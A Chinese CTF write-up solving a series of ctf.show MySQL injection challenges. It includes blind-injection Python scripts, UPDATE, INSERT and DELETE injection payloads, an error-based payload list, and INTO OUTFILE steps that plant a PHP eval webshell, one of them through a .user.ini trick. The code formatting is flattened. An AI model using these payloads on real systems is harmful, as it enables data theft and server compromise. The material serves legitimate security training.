1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import timeimport requestsurl = "http://07654e27-2464-4ef8-ba5f-cafdafabfd66.challenge.ctf.show/api/" payload = "ascii(mid((select flagaabc from ctfshow_flaga),{},1))>{}" print ("Cirno: 查询中(◍•ᴗ•◍)❤ " )def valid_payload (p: str ) -> bool : params = {"u" :f"if({p} ,(select count(*) from information_schema.columns A,information_schema.tables B,information_schema.tables C),1) " } time_s = None time_e = None while True : time_s = time.time() try : _ = requests.get(url=url,params=params) except : continue time_e = time.time() break return time_e-time_s > 4 index = 1 result = "" while True : start = 32 end = 127 while not (abs (start - end) == 1 or start == end): everage = (start + end) // 2 if valid_payload(payload.format (index, everage)): start = everage else : end = everage if end < start: end = start result += chr (end) print (f"[*] result: {result} " ) index += 1 if result[-1 ] == "}" : break print ("\n本天才查询完成 。◕‿◕。 " )
自己的快速半自动(速度快多了,不嫌咱这半自动麻烦可以用)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import timeimport requestsurl = "http://07654e27-2464-4ef8-ba5f-cafdafabfd66.challenge.ctf.show/api/" payload = "ascii(mid((select flagaabc from ctfshow_flaga),{},1))>{}" print ("Cirno: 查询中(◍•ᴗ•◍)❤ " )def valid_payload (p: str ) -> bool : params = { "u" : f"if({p} ,(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E,information_schema.schemata F),1) " } time_s = None time_e = None while True : time_s = time.time() try : _ = requests.get(url=url,params=params) except : continue time_e = time.time() break return time_e-time_s > 0.9 result = "" index = 1 + len (result) while True : start = 32 end = 127 while not (abs (start - end) == 1 or start == end): everage = (start + end) // 2 if valid_payload(payload.format (index, everage)): start = everage else : end = everage if end < start: end = start result += chr (end) print (f"[*] result: {result} " ) index += 1 if result[-1 ] == "}" : break print ("\n本天才查询完成 。◕‿◕。 " )
223 题目上还是和之前一样
1 2 3 4 5 $sql = select * from ctfshow_user group by $username ;
但是测试后发现用户名输入不能包含数字,密码返回也不能包含密码,使用true替换即可,根据sql查询语句,我们可以使用username,所以可以使用布尔盲注,这样就比时间盲注省时间多了
具体步骤 1 /api/?u=concat(database(),floor(rand()*(true%2Btrue)))
可以明显发现有个列名是username,我们先group by 一下 username
这里就把所有的数据写出来了(但是没有flag的,所以我猜测是不密码中包含数字的显示,所以使用了盲注)
当然这里时间盲注也行,但是太慢了,能布尔盲注还是布尔,我们发现可以以 passwordAUTO 作为判断,我们只需要没执行语句替换为无passwordAUTO的就行了,于是我是用了”ctfshow”
上面的user1 和 user2不能用,被ban了嘛别做题做着做着做忘了
(我看有的师傅写的’a’也能行,不知道啥原理,有空上mysql试试=。=)
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import timeimport requestsdef make_num (i: int ) -> str : return '+' .join("true" for _ in range (i)) url = "http://0b4bad5c-5040-42fc-93a4-f4a18f3629de.challenge.ctf.show/api/" payload = "ascii(mid((select flagasabc from ctfshow_flagas),{},true))>{}" print ("Cirno: 查询中(◍•ᴗ•◍)❤ " )judge = "passwordAUTO" def valid_payload (p: str ) -> bool : username = f"if({p} ,username,'ctfshow')" response = None while True : try : response = requests.get(f"{url} " , params={"u" : username}) except : continue break return judge in response.text index = 1 result = "" while True : start = 32 end = 127 while not (abs (start - end) == 1 or start == end): everage = (start + end) // 2 if valid_payload(payload.format (make_num(index), make_num(everage))): start = everage else : end = everage if end < start: end = start result += chr (end) print (f"\r[+] here is flag: {result} " ,end="" ) if chr (end) == "}" : break index += 1 print ("\n本天才查询完成 。◕‿◕。 " )
update 231-232(一个是字符串) 题目
1 2 3 4 $sql = "update ctfshow_user set pass = '{$password} ' where username = '{$username} ';" ;
看源码是post username和password
尝试
1 password=1' where 1=1#&username=1
发现确实都更改了
然后我们就可以尝试去获取flag了,因为没有过滤且有回显,所以我们能直接构造payload去获取flag,还有一个需要注意的是,我们实际上修改的是username,因为password在update的时候是有引号包裹的,我们放入语句是会变成字符串的,因此不会执行。所以我们在update password的同时去修改username,剩下的就是普通的操作了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # payload 1 看数据库(username修改的语句记得拿括号包裹,不然会因为之间有空格而被解析成语句。也就是username取select ,后面的都变语句了,就会出错) # information_schema,test,mysql,performance_schema,ctfshow_web password= 1 ',username=(select group_concat(schema_name) from information_schema.schemata) where 1=1#&username=1 # payload 2 看数据表 # banlist,ctfshow_user,flaga password=1' ,username= (select group_concat(table_name) from information_schema.tables where table_schema= 'ctfshow_web' ) where 1 = 1 #& username= 1 # payload 3 看字段名 # id,flagas,info password= 1 ',username=(select group_concat(column_name) from information_schema.columns where table_name=' flaga') where 1=1#&username=1 # payload 4 看字段值 # ctfshow{0652bddc-e585-4772-9577-bacc23cfee9c} password=1' ,username= (select group_concat(flagas) from flaga) where 1 = 1 #& username= 1
233(都是字符) 题目和上一题没什么区别,就是修改之后不会显示了,但是有返回成功还是失败的信息,所以布尔盲注吧,一个一个填充判断是否正确
(主要就是username这里也变成了字符串,所以我们写的语句都变成字符串了,没有解析,需要通过 where 子句中的if 来盲注)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import randomimport requestsurl = "http://339c2129-54eb-405c-a41e-9cbf6b64b5ba.challenge.ctf.show/api/" payload = "if(ascii(substr((select flagass233 from flag233333),{},1))>{},1,0) -- " print ("Cirno: 查询中(◍•ᴗ•◍)❤ " )judge = "更新成功" def valid_payload (p: str ) -> bool : data = { "username" : f"ctfshow' and {p} " , "password" : str (random.random()) } response = None while True : try : response = requests.post(url=url, data=data) except : continue break return judge in response.json()["msg" ] result = "" index = 1 while True : start = 32 end = 127 while not (abs (start - end) == 1 or start == end): p = (start + end) // 2 if valid_payload(payload.format (index,p)): start = p else : end = p if end < start: end = start if chr (end) == "}" or chr (end) == "!" : break result += chr (end) print (f"\r[+] result: {result} " , end="" ) index += 1 print ("\n本天才查询完成 。◕‿◕。 " )
这是参考b477eRy师傅的脚本写的,其中他将password设为了值str(random.random()),我最初研究之后认为还是自己sql语言没学好,认为应该是 update 在遇到 相同的值,在一些情况是不会进行修改的,也就是说这里取随机数的目的就是让他不相等,免得导致where子句if不执行。但是看了其他师傅的时间盲注,我才意识到,应该是修改相同之后,会导致页面返回值一直返回更新成功(这题就是语句错了也tnnd返回更新成功,所以如果密码需要一直变)(对了,username也要写一个存在的字段名才行)
还有其他师傅写的时间盲注脚本,但是它的这里username 和password都没有上面的限制(不需要在乎页面的返回值)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import requestsurl = "http://d4c54e32-5b33-408d-a14a-2f2b6a7f553f.challenge.ctf.show/api/?page=1&limit=10" result = "" i = 0 while 1 : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 payload = "select flagass233 from flag233333" data = { 'username' : f"1' or if(ascii(substr(({payload} ),{i} ,1))>{mid} ,sleep(0.05),1)#" , 'password' : '4' } try : r = requests.post(url, data=data, timeout=0.9 ) tail = mid except Exception as e: head = mid + 1 if head != 32 : result += chr (head) else : break print (result)
234(无单引号,使用 \ 逃逸) 1 2 3 4 $sql = "update ctfshow_user set pass = '{$password} ' where username = '{$username} ';" ;
其实是有过滤的,过滤了单引号
我们可以用 \ 来逃逸,将后一半引号转义变为
1 $sql = "update ctfshow_user set pass = '\' where username = 'username';" ;
这样pass
里面的内容就是' where username =
,接下来username
里面的参数就是可以控制的了
然后直接使用最开始的方法就行(需要注意的是username里面要先写一个 ,
(逗号) 先把前面的句子分开,然后再写一个username=)
1 2 3 4 5 6 7 8 9 payload(记得url encode一下,字段名好像必须得16 进制,原型的 "\" "#" 和表名啥的直接执行不出来= 。= ): # banlist,ctfshow_user,flag23a password= % 5 C& username= ,username= (select group_concat(table_name) from information_schema.tables where table_schema= database())% 23 # id,flagass23s3,info password= % 5 c& username= ,username= (select group_concat(column_name) from information_schema.columns where table_name= 0x666c6167323361 )% 23 #ctfshow{9 f94d0df-2 bee-4286 -9 c98-68 bc2c9f4ee1} password= % 5 C& username= ,username= (select flagass23s3 from flag23a)% 23
效果图
部分资料
CTF|mysql之无列名注入 - 知乎 (zhihu.com)
在 mysql => 5 的版本中存在一个名为 information_schema 的库,里面记录着 mysql 中所有表的结构。通常,在 mysql sqli 中,我们会通过此库中的表去获取其他表的结构,也就是表名、列名等。但是这个库经常被 WAF 过滤。
在 information_schema 中,除了 SCHEMATA、TABLES、COLUMNS 有表信息外,高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。
文章中还提到了个别名,自己尝试之后才理解为什么要写,具体看下面
概述MySQL统计信息_Mysql_脚本之家 (jb51.net)
5.6.6开始,MySQL默认使用了持久化统计信息,即INNODB_STATS_PERSISTENT=ON,持久化统计信息保存在表mysql.innodb_table_stats和mysql.innodb_index_stats。
1 2 3 4 $sql = "update ctfshow_user set pass = '{$password} ' where username = '{$username} ';" ;
看题目,过滤了 or 和 ‘ 这样 information_schema 就也不能用了(information单词里面有or,惨),改用 mysql.innodb_table_stats 查表名
payload (记得查数据的时候一定要配合limit)
1 2 3 4 5 6 7 8 9 10 11 12 13 # payload 1 # banlist,ctfshow_user,flag23a1 username= ,username= (select group_concat(table_name) from mysql.innodb_table_stats where database_name= database()) # payload 2 # ctfshow{2e79 edc9-0 d19-4 aac-945 a-4 f796dfc35a0} username= ,username= (select b from (select 1 ,2 as b,3 union select * from flag23a1 limit 1 ,1 )a) # 因为这里只能单行显示,所以要配合limit来一个一个查,没有limit的话查不出来 或者一样的没区别只是如果没过率数字可以这样玩 # username= ,username= (select `2 ` from (select 1 ,2 ,3 union select * from flag23a1 limit 1 ,1 )a)
接下来来说一下取别名的事,因为我看那个取了别名a却没有使用,我在想能不能不进行取别名的操纵,但是实际上,我们去掉取别名的操作就执行不了了,我们在本地试试
先看看antry表内容
再使用上面payload的取别名的方式进行查找
删除别名
发现报错了
1 Every derived table must have its own alias
大体可以参考文章
(37条消息) Every derived table must have its own alias(sql语句错误解决方法)_MonoWx的博客-CSDN博客
总之就是多表查询时,派生表需要起别名(到头来还是当时学mysql的时候偷工减料了QAQ)
236(没啥重点,检测返回值) 没啥好说的,检测返回值是否包含”flag”字符串(也就是说上一题payload可以直接打=。=,因为flag里面其实是ctfshow{xxxx},没有flag字符串(除非运气太差了),可能是以前是flag{xxx},后来改了,但是没改题)
具体遇到这种题,使用个to_base64即可,最开始的sql注入就遇到过这种问题=。=
payload
1 2 3 4 username= ,username= (select group_concat(table_name) from mysql.innodb_table_stats where database_name= database()) username= ,username= (select to_base64(b) from (select 1 ,2 as b,3 union select * from flaga limit 1 ,1 )a)
insert 237 1 2 3 4 5 $sql = "insert into ctfshow_user(username,pass) value('{$username} ','{$password} ');" ;
payload 1(没过滤单引号,简单闭合) (直接在添加框内输入就行,不需要hackbar也行,,需要注意的就是最后还得加上 );
来闭合value函数,不然执行不了)
1 2 3 4 5 6 7 # 查表名 # banlist,ctfshow_user,flag username= koishi',(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()));# password=1 # 查数据——无列名查询(既然会了这么便利的方式,就直接使用了,也可以使用之前的步骤先字段名再字段值) koishi' ,(select b from (select 1 ,2 as b,3 union select * from flag limit 1 ,1 )a));#
这个payload是通过闭合单引号的方式来查询的,还有师傅说可以用username取 \ 的方式来逃逸出 password 来进行注入,但是我实际测试没弄出来,淦
(奥,弄出来了,我是铸币,是在发现最后要加上 0;
之后,才发现之前试的时候没加)
payload 2(假如过滤了单引号,\ 逃逸) 下面输入的位置都是
用户名
密码
的形式
1 2 3 4 5 6 7 8 9 10 # 查表名 # banlist,ctfshow_user,flag \ ,(select group_concat(table_name) from information_schema.tables where table_schema= database()));# # 无列名查询 # ctfshow{5e1 b90d2-20 b4-4685 - ac6a-1580 a25c1352} \ ,(select b from (select 1 ,2 as b,3 union select * from flag limit 1 ,1 )a));#
238(过滤空格) 1 2 3 4 $sql = "insert into ctfshow_user(username,pass) value('{$username} ','{$password} ');" ;
尝试 %09 %0a %0b %0c %0d /**/
都不行,括号可以。
我们常规的payload 可以使用括号绕过,而无列名查询不能用了QAQ(union和select之间没法括号隔开) ,简单贴一下payload
payload(皆放username位置,password随便)
1 2 3 4 5 6 7 8 9 10 11 12 # 数据库 # banlist,ctfshow_user,flagb koishi',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));# # 查列名 # id,flag,info koishi' ,(select (group_concat(column_name))from (information_schema.columns)where (table_schema= database())and (table_name= 'flagb' )));## 查数据 # ctfshow{0149052 a- d915-40 ca-8 a23-08125298 eaeb} koishi',(select(group_concat(flag))from(flagb)));#
这里也可以使用 \ 逃逸的形式,但是我就不再写了,实战遇到进行修改即可
1 2 3 4 5 6 $sql = "insert into ctfshow_user(username,pass) value('{$username} ','{$password} ');" ;value ('{$username}' ,'{$password}' );"
有过滤的 insert 注入、相比上题过滤了 or
,information_schema
再次中枪,改用 mysql.innodb_table_stats
,其他不变。
半场payload 1 2 3 # sql 查表名 # banlist,ctfshow_user,flagbb koishi',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#
到这里就尬住了,过滤了空格,无列名注入用不了,or也过滤了,这样查不到列名,所以我们只能爆破了=。=
自己写脚本跑吧,脚本里面用的是 \ 逃逸的方法(因为想两个都练练加深印象,当然正常的也行)
script (由于不论语句是否正常,页面都是返回的是 “插入成功” ,意味着布尔盲注下台了。而information_schema被禁了,也意味着时间盲注拜拜,但是这题有个好处就是我们可以随时看见数据有哪些,也就是说我们只用看看页面上存不存在我们插入的数据就能判断了(因为找不到那些数据在哪个页面,所以先跑一点点看看页面上有没有吧,本来想写脚本一次性拿到的,哎)。还有用不了二分法,因为比较不了,只能从头跑到尾了。bp也能爆破,但是本着练手的目的,试着写了脚本,妈的**写了两个半小时 **,下次有现成工具,狗都不写脚本。也说明了我python算法真的拉(我真的觉得我能写出来真的谢天谢地了))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import itertoolsimport requestsimport stringfrom copy import deepcopyurl = "http://042fe865-c53e-4f80-9627-5043eff5461d.challenge.ctf.show/api/insert.php" payload = "koishi',(select({})from(flagbb)));#" s = "acfgl" def permutations (arr, position, end ): if position == end: h.append(deepcopy(arr)) else : for index in range (position, end): arr[index], arr[position] = arr[position], arr[index] permutations(arr, position + 1 , end) arr[index], arr[position] = arr[position], arr[index] global hh = [] index =1 while True : nameList = list (itertools.combinations(list (s), index)) a = list (itertools.combinations(list ("1234" ), 2 )) for temp in nameList: trueName = str (temp).replace("," , "" ).replace('\'' , "" ).replace("(" , "" ).replace(")" , "" ).replace(" " , "" ) arr = list (trueName) permutations(arr, 0 , len (arr)) for temp in h: finalName=str (temp).replace("," , "" ).replace('\'' , "" ).replace("[" , "" ).replace("]" , "" ).replace(" " , "" ) data = { "username" : payload.format (finalName), "password" : "1" } requests.post(url=url,data=data) print (f"{data} " ) h=[] index += 1 if index >= 5 : break
这是一个非常消耗阳寿的脚本,因为我知道列名是flag,所以我设置了index大于等于5时跳出,而且选择的字符非常少,还是花了较长时间。但是如果真实的列名更长的话,那就试着优化一下脚本或者换个方法吧(bp也许快得多?而且脚本有小瑕疵,因为python学的不精,就是list转str那里,如果列名包含replace里面的字符的话就GG)(如果知到列名的组成的话,可以适当减少s的参与递归的数量,我这里直接少了一堆,还是耽误时间。(实战遇到我直接吐)
拿到跑出来的列名之后,在页面可以直接拿到flag值,变成payload如下
1 2 3 4 5 6 7 8 # sql 查表名 # banlist,ctfshow_user,flagbb koishi',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))# # 查数据 # ctfshow{5bcf09a8-3084-4f7a-9011-d586d5fb650b} koishi' ,(select (flag)from (flagbb)));#
bp 咱还是用bp吧,自己的脚本优化太垃圾了(线程还是单线程=。=,不如bp)(用的其他师傅的原图)
抓包
设置payload:
开始爆破,同时不断刷新页面,因为返回值解码后都是插入成功
,所以没有办法通过length
判断flag是否出来
注意:只有正确(数据库中存在)的列名查询出结果后才会添加到列表中,数据没有的列名查不出数据,其结果为空,不会添加到列表中
当跑到这里2000左右的时候出来了flag
可以看到这个师傅在操作的时候,字符也只选了6个(flagbc),要是也是全写完的话估计也得要很长时间,我自己没试。要是真遇到的话,真的耗阳寿。
240(再加上过滤mysql字段) 1 2 3 $sql = "insert into ctfshow_user(username,pass) value('{$username} ','{$password} ');" ;
我真的裂开,上一题好歹还有数据库,好家伙,这回连数据库也给我办了,牛逼。真就阳寿题?
然后发现有个Hint
Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写
表名爆破就ok,但是咱又咋知道列名,这样咋来判断我们的脚本是否正确,上网找了找,基本上都是有之前的题易得列名是flag,只用猜数据库名=。=,行吧,比赛遇到直接。。。。得,就这样吧
写个脚本:
exp 1 2 3 4 5 6 7 8 9 10 11 12 import requestsurl = "http://ba8eb13e-9ed6-4e98-ab23-a0e2e710ba64.challenge.ctf.show/api/insert.php" payloads = [{ "username" : "\\" , "password" : f",(select(flag)from(flag{a} )))#;" }for a in [f"{a} {b} {c} {d} {e} " for a in "ab" for b in "ab" for c in "ab" for d in "ab" for e in "ab" ]] for payload in payloads: response = requests.post(url, data=payload) print (f"trying: {payload} " )
回页面刷新就有flag了。
delete 241 1 2 3 $sql = "delete from ctfshow_user where id = {$id} " ;
无过滤的 delete 注入,没有分号数字型注入,布尔盲注记录会越来越少(还没跑完,记录就无了=。=),用时间盲注。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import timeimport requestsurl = "http://69a92f38-e63f-4686-82b2-5ee60a7ed353.challenge.ctf.show/api/delete.php" payload = "select flag from flag" condition = "ascii(mid(({}),{},1))>{}" def valid_payload (p: str ) -> bool : data = { "id" : f"if({p} ,sleep(0.05),0)" } time_s = None time_e = None while True : try : time_s = time.time() _ = requests.post(f"{url} " , data=data) time_e = time.time() except : continue break return time_e-time_s >= 0.9 index = 1 result = "" print ("I'm starting!" )while True : start = 32 end = 127 while not (abs (start - end) == 1 or start == end): mid = (start + end) // 2 if valid_payload(condition.format (payload, index, mid)): start = mid else : end = mid if end < start: end = start result += chr (end) print (f"[*] result: {result} " ) if chr (end) == "!" or chr (end)=="}" : break index += 1 print (" Success! " )
时间盲注有天生的劣势,如果时间长了跑的不对,就一段一段跑,还有时间上也可以进行修改修改,0.9在本机上跑的非常好
into outfile 242 先看题
1 2 3 4 $sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename} ';" ;
sql注入之outfile - 简书 (jianshu.com)
mysql注入之into outfile - FreeBuf网络安全行业门户
大致了解了一下 into outfile 这个东东
然后还有查了一下语法常用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 SELECT ... INTO OUTFILE 'file_name' [CHARACTER SET charset_name] //设置字符集 [export_options] //拓展选项 export_options: //具体拓展选项 [{FIELDS | COLUMNS} [TERMINATED BY 'string']//分隔符 [[OPTIONALLY] ENCLOSED BY 'char'] [ESCAPED BY 'char'] ] [LINES [STARTING BY 'string'] [TERMINATED BY 'string'] ] “OPTION”参数为可选参数选项,其可能的取值有: `FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。 `FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。 `FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。 `FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。 `LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。 `LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。
利用 export_options 插 shell
(STARTING BY 和 TERMINATED BY 都行 ,只要文件中存在就行)
payload 1 2 url/api/dump.php filename=koishi.php'LINES STARTING BY "<?php eval($_POST[koishi]);?>";#
上传成功后蚁剑连接url/dump/koishi.php
密码为 koishi
flag在 /flag.here
(我在本地上传shell的时候被火绒拦截了,怕在本地留后门,就没关杀毒软件,既然拦截了,就是正确了,懒得试了)
243(多过滤了php,新姿势) 1 2 3 4 $sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename} ';" ;
payload 文件内容使用编码绕过就行了,文件后缀使用.user.ini
可供参考的资料:php中.user.ini究竟是个啥神秘东东?-php教程-PHP中文网
ini 文件中注释 ;
开头,这里用 starting by ‘;’ 注释掉原本的内容,后面的字符串前面加个换行就不影响了。(b477eRy师傅还是强啊orz)
1 filename= .user.ini' lines starting by ' ;' terminated by 0x0a0a6175746f5f70726570656e645f66696c653d736166652e6a70670a6175746f5f617070656e645f66696c653d736166652e6a7067; %23
16进制原字符串为:
1 2 3 4 auto_prepend_file =safe.jpgauto_append_file =safe.jpg
使用这个的目的:参考文章:PHP中的auto_prepend_file和auto_append_file-php手册-PHP中文网
就是让ini文件去读取我们的 safe.jpg。
然后我们只需要再写入我们的jpg就行了
1 filename=safe.jpg' lines terminated by 0x3c3f706870206576616c28245f504f53545b6b6f697368695d293b203f3e; %23
这里的16进制字符串原串是:
1 <?php eval ($_POST [koishi]); ?>
之后
蚁剑连接 /dump/
,flag 在 /flag.here
。
报错注入 知识学习 (37条消息) sql注入之报错注入_Dar1in9的博客-CSDN博客_报错注入
顺便在其他博客发现了这个好东西(下面的什么select user() 、 version()啥的可以换成其他想要执行的命令)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 1. floor + rand + group by select * from user where id= 1 and (select 1 from (select count (* ),concat(version(),floor (rand(0 )* 2 ))x from information_schema.tables group by x)a);select * from user where id= 1 and (select count (* ) from (select 1 union select null union select ! 1 )x group by concat((select table_name from information_schema.tables limit 1 ),floor (rand(0 )* 2 )));2. ExtractValueselect * from user where id= 1 and extractvalue(1 , concat(0x5c , (select table_name from information_schema.tables limit 1 )));3. UpdateXmlselect * from user where id= 1 and 1 = (updatexml(1 ,concat(0x3a ,(select user ())),1 ));4. Name_Const(> 5.0 .12 )select * from (select NAME_CONST(version(),0 ),NAME_CONST(version(),0 ))x;5. Join select * from (select * from mysql.user a join mysql.user b)c;select * from (select * from mysql.user a join mysql.user b using (Host))c;select * from (select * from mysql.user a join mysql.user b using (Host,User ))c;6. exp ()/ / mysql5.7 貌似不能用select * from user where id= 1 and Exp (~ (select * from (select version())a));7. geometrycollection()/ / mysql5.7 貌似不能用select * from user where id= 1 and geometrycollection((select * from (select * from (select user ())a)b));8. multipoint()/ / mysql5.7 貌似不能用select * from user where id= 1 and multipoint((select * from (select * from (select user ())a)b));9. polygon()/ / mysql5.7 貌似不能用select * from user where id= 1 and polygon((select * from (select * from (select user ())a)b));10. multipolygon()/ / mysql5.7 貌似不能用select * from user where id= 1 and multipolygon((select * from (select * from (select user ())a)b));11. linestring()/ / mysql5.7 貌似不能用select * from user where id= 1 and linestring((select * from (select * from (select user ())a)b));12. multilinestring()/ / mysql5.7 貌似不能用select * from user where id= 1 and multilinestring((select * from (select * from (select user ())a)b));
244 1 2 3 4 $sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 1;" ;
基础的报错注入,直接上payload
写法1 –updatexml 测试
1 1 ' or updatexml(' koishi',concat(0x2c,(select database())),' cirno');--+
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # 表名 # {"code":0 ,"msg":"XPATH syntax error: '|banlist,ctfshow_flag,ctfshow_us'","count":1 ,"data":[]} 1 ' and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) %23 # 列名 # {"code":0,"msg":"XPATH syntax error: ' | id,flag,info'","count":1,"data":[]} 1' and updatexml(1 ,concat(0x7c ,(select group_concat(column_name) from information_schema.columns where table_name= 'ctfshow_flag' )),1 ) % 23 (因为返回最多32 个字符,所以我们要使用substr或者mid等分别查询) # 字段值1 # {"code":0 ,"msg":"XPATH syntax error: '|ctfshow{eb2bbc9e-e1f1-41c1-aa6d'","count":1 ,"data":[]} 1 ' and updatexml(1,concat(0x7c,(select flag from ctfshow_flag)),1) %23 # 字段值2 # {"code":0,"msg":"XPATH syntax error: ' | 6 d- be9c13942a09}'","count":1,"data":[]} 1' and updatexml(1 ,concat(0x7c ,mid((select flag from ctfshow_flag),30 ,30 )),1 ) % 23 #最终拼起来就是ctfshow{eb2bbc9e- e1f1-41 c1- aa6d- be9c13942a09}
1 2 测试 1 ' or extractvalue(rand(),concat(0x2c,(select database())));--+
(rand()可以换成随便的字符)
1 2 3 4 5 6 7 8 9 10 11 12 13 # 查表名 1 ' or extractvalue(rand(),concat(0x2c,(select group_concat(table_name)from information_schema.tables where table_schema=database())));--+ # 查列名 1' or extractvalue(rand(),concat(0x2c ,(select group_concat(column_name)from information_schema.columns where table_schema= database()and table_name= 'ctfshow_flag' )));# 查数据 1 ' or extractvalue(rand(),concat(0x2c,(select group_concat(flag)from ctfshow_flag)));--+ # 查数据--2 1' or extractvalue(rand(),concat(0x2c ,substr((select group_concat(flag)from ctfshow_flag),20 ,42 )));#拼接起来 ctfshow{eb2bbc9e- e1f1-41 c1- aa6d- be9c13942a09}
245 过滤了updatexml,没啥好说的,换成上面的 extractvalue 就行
1 2 3 $sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 1;" ;
1 2 3 $sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 1;" ;
floor注入 注入原理:Mysql报错注入之floor(rand(0)*2)报错原理探究 - FreeBuf网络安全行业门户
payload(就是注意我们使用了floor,和concat,拿到的结果要去除最后一个数字(那是拼接上的floor))
1 2 3 4 5 6 7 8 9 10 11 12 # 查数据表 # {"code":0 ,"msg":"Duplicate entry 'ctfshow_flags1' for key 'group_key'","count":1 ,"data":[]} 1 ' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23 # 查字段 # {"code":0,"msg":"Duplicate entry ' flag21' for key ' group_key'","count":1,"data":[]} 1' and (select 1 from (select count (* ),concat((select column_name from information_schema.columns where table_schema= database() limit 3 ,1 ),floor (rand(0 )* 2 ))x from information_schema.tables group by x)a) % 23 # 查字段值 # {"code":0 ,"msg":"Duplicate entry 'ctfshow{8744ed07-7a96-49e9-b64c-89896a8f939c}1' for key 'group_key'","count":1 ,"data":[]} 1 ' and (select 1 from (select count(*),concat((select flag2 from ctfshow_flags),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
247(floor也无了) 1 2 3 $sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 1;" ;
有过滤的报错注入,这次新增禁用 floor
,还可以用 ceil 代替(和floor是反着来的,但是本质上利用floor的点没变,改floor为ceil即可)。
1 2 3 4 5 6 7 8 9 10 11 12 # 查数据表 # {"code":0 ,"msg":"Duplicate entry 'ctfshow_flagsa2' for key 'group_key'","count":1 ,"data":[]} 1 ' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),ceil(rand(0)*2))x from information_schema.tables group by x)a) %23 # 查字段(注意这里flag? 中有? 所以要用反引号包裹起来,免得被当成url处理了) # {"code":0,"msg":"Duplicate entry ' flag?2 ' for key ' group_key'","count":1,"data":[]} 1' and (select 1 from (select count (* ),concat((select column_name from information_schema.columns where table_schema= database() limit 3 ,1 ),ceil (rand(0 )* 2 ))x from information_schema.tables group by x)a) % 23 # 查字段值 # {"code":0 ,"msg":"Duplicate entry 'ctfshow{22489aed-e513-475e-96f5-985a6eaf43c0}2' for key 'group_key'","count":1 ,"data":[]} 1 ' and (select 1 from (select count(*),concat((select `flag?` from ctfshow_flagsa),ceil(rand(0)*2))x from information_schema.tables group by x)a) %23
udf 注入 知识学习 参考文章: (37条消息) 【SQL注入】UDF提权命令执行_孤桜懶契的博客-CSDN博客_sqlmap udf提权
1 查看可操作路径
1 show global variables like "%secure%"
secure_file_priv值为null,表示mysql不允许导入导出,此时我们只能通过别的方法将udf.dll写入安装路径
2 查看plugin目录路径
这篇文章讲的肥肠清楚,这里只写了一点点
248 mysql的UAF注入,简单来说就是把dll文件写到目标机子的plugin目录,这个目录是可以通过select @@plugin_dir来得到的。
1 CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so' ; / / 导入udf函数
题目
1 2 3 4 $sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 1;" ;(测试发现还是有过滤的,有or 、and 之类的,所以我们就用不了盲注等方法了。md狗比又不说waf,现在正常手段没用了)
看题目加上测试,发现存在堆叠注入
